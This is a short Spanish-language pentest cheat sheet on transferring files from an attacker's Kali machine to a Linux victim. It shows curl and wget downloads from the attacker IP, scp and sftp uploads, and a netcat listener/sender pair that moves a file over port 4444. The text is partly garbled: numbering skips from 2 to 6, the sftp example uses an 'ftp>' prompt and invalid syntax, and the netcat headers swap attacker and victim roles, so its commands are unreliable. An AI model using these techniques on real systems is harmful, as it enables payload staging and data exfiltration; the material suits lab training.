# Descargando desde Linux

{% hint style="info" %}

#### Transferencia de Archivos en Linux

**Máquina del Atacante: Kali Linux**

**Máquina Víctima: Linux**

**Archivo a Transferir: File.txt**
{% endhint %}

## <mark style="color:green;">1. Usando Curl</mark>

`Curl` es una herramienta de línea de comandos utilizada para transferir datos. También se usa para descargar datos desde la máquina atacante.

### <mark style="color:green;">**Máquina Víctima:**</mark>

Ejecuta el siguiente comando para descargar el archivo a la máquina víctima.

#### **Comando:**

```bash
curl -O http://192.168.1.66/file.txt
```

## <mark style="color:green;">2. Usando Wget</mark>

`Wget` también es una herramienta de línea de comandos en Linux que se utiliza para descargar archivos desde la máquina atacante.

### <mark style="color:green;">**Máquina Víctima:**</mark>

Ejecuta el siguiente comando para descargar el archivo a la máquina víctima.

#### **Comando:**

```bash
wget http://192.168.1.66/file.txt
```

## <mark style="color:green;">6. SCP (Secure Copy Protocol)</mark>

`SCP` es un método seguro para transferir archivos entre máquinas Linux usando el protocolo SSH.

### <mark style="color:green;">**Máquina del Atacante:**</mark>

En la máquina atacante, utiliza el siguiente comando para transferir el archivo a la máquina víctima.

#### **Comando:**

```bash
scp file.txt usuario@192.168.1.66:/ruta/de/destino/
```

## <mark style="color:green;">7. SFTP (SSH File Transfer Protocol)</mark>

`SFTP` es otra opción segura para transferir archivos usando SSH.

### <mark style="color:green;">**Máquina del Atacante:**</mark>

En la máquina atacante, conecta a la máquina víctima usando `sftp` y sube el archivo.

#### **Comando:**

```bash
ftp> usuario@192.168.1.66
ftp> put file.txt
```

## <mark style="color:green;">8. Netcat (NC)</mark>

`Netcat` es una herramienta versátil que también se puede usar para transferir archivos.

### <mark style="color:green;">**Máquina del Atacante:**</mark>

Inicia un listener en la máquina víctima.

**Comando:**

```bash
nc -lvp 4444 > file.txt
```

### <mark style="color:green;">**Máquina Víctima:**</mark>

Envía el archivo desde la máquina atacante.

**Comando:**

```bash
nc 192.168.1.66 4444 < file.txt
```

Estas son solo algunas de las muchas técnicas disponibles para transferir archivos entre máquinas Linux y entre máquinas Windows y Linux. Cada método tiene sus ventajas y puede ser elegido según la situación y las necesidades específicas.
